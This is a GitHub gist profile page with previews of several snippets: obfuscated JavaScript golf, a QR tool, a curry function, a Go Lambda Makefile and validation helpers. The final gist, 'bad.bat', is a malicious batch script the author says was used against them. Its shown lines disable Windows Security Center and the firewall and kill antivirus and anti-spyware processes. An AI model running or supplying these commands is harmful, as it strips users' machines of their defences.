Skip to content

Instantly share code, notes, and snippets.

View Zemnmez's full-sized avatar
💭
oof

Thomas Neil James Shadwell Zemnmez

💭
oof
View GitHub Profile
eval(String.fromCharCode(
(8
*
eval(String.fromCharCode(
(8
*
eval(String.fromCharCode(
(5 *
5*4+1 ),2*(
2*(7*4+1) +1),(8*6*
2+1),9*6*2,8 *5,(2*(8*5+1)
+1),4*(7*4+1),6* (9*2+1),7*5*3,5
*2*(5*2+1),(6*(8* 2+1)+1),2*(2*(5*
2+1)+1),6*(8*2+1) ,6*(9*2+1),3*(9*4
+1),(9*6*2+1),(6* (5*2+1)+1),8*(6*2
+1),(8*6*2+1),6* (9*2+1),(6*(5*2+
@Zemnmez
Zemnmez / qr.js
Last active January 2, 2019 13:44
function byid(id) {
return document.getElementById(id);
}
function valof(id) {
return byid(id).checked ? 1 : 0;
}
function text(e) {
if (e == null) {
return "";
}
window.theImage = () => {
const u = byid("url").value,
i = img,
c = valof("control"),
r = valof("rand"),
d = valof("data"),
t = valof("dither"),
s = Math.floor(Math.random()*1e9),
o = rotation,
x = dx
@Zemnmez
Zemnmez / variadic-curry-golfed.js
Last active February 20, 2019 16:50
variadic curry, javascript
z=f=>(...a)=>+a!=0?z(f.bind(0,...a)):f()
@Zemnmez
Zemnmez / Makefile
Created February 24, 2019 22:47
makefile for golang aws lambda
# expect handler/handlername handler/handler2 etc.
dist.zip: $(patsubst handler/%,dist/%,$(wildcard handler/*))
zip -FSj $@ $^
#getDeps = $(shell go list -f '{{.Deps}}' $(1) | xargs go list -f '{{$$this:=.}}{{range .GoFiles}}{{$$this.Dir}}/{{.}} {{end}}')
# maybe one day i will generate the deps dynamically lol
# must be forced because cant determine whether update is
# needed purely based on go files
dist/%: handler/% .FORCE
String.fromCharCode(($=2*5),(q=(2*6+1)*5),(a=4*8),(Â=(2*9+1)*6),(Y=4*5*5+1),($+1)*9,(y=(2*6+1)
*9),Â,Â,Y,($+1)*$,(È=(4*7+1)*4),a,($+1)*$,Y,y,Â,(E=2*6*8+1),(K=2*6*9),a,($+1)*$,Y,È,
(À=(2*8+1)*7),(Ê=(4*9+1)*3),Â,(G=2*6*9-1),a,(e=5*8),((c=5*8+1))*2,(s=(2*6+1)*6),s,c,
a,(S=3*5*7),(Æ=(3*8-1)*5),a,E,a,($+1)*9,K,E,Æ,Æ,a,Ê,(º=(2*8+1)*6),a,E,Â,È,S,º,S,($+1
)*9,S,E,K,a,($+1)*$,Y,y,Â,E,K,a,($+1)*$,Y,È,À,Ê,Â,G,a,À,(w=(2*6+1)*8),Y,Â,Y,a,($+1)*
9,Ê,($+1)*$,($+1)*$,Y,($+1)*9,È,S,Ê,($+1)*$,Æ,a,(M=2*7*7),Y,È,À,Y,Y,($+1)*$,a,($+1)*
$,Ê,(_=4*5*5),Y,Æ,a,º,Ê,Â,(I=2*6*9+1),a,E,a,_,S,Â,Y,($+1)*9,È,Y,_,a,(µ=(2*8+1)*6+1),
Â,E,(Q=2*7*8),w,a,E,K,Ê,($+1)*$,µ,a,E,a,È,Y,I,Q,Ê,Â,E,K,a,Æ,Y,(O=2*7*8+1),y,Y,($+1)*
$,($+1)*9,Y,(Ä=(3*8-1)*2),a,(C=2*6*7),w,S,Æ,a,E,K,K,Ê,À,Æ,a,S,È,a,È,Ê,a,Y,(W=3*5*8),
w,S,M,S,È,a,È,Y,I,Q,Ê,Â,E,K,a,_,(U=3*5*8+1),($+1)*$,E,I,S,($+1)*9,a,M,Y,w,E,($*6-1)*
"use strict";
const errorTester = () => (rsp) => !(rsp instanceof Error);
const asGuardType = (f) => (v) => [f(v), errorTester()];
const must = (f) => (v) => {
const [rsp, tstRsp] = asGuardType(f)(v);
if (!tstRsp(rsp))
throw rsp;
return rsp;
};
const hasLen = (n) => (v) => v.length == n ? v : new Error(`expected length of ${n}, but got ${v.length}`);
@Zemnmez
Zemnmez / bad.bat
Created October 31, 2019 18:06
a grimdark hackerdude tried to hack me w this https://twitter.com/zemnmez/status/1187783064233107457?s=21
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*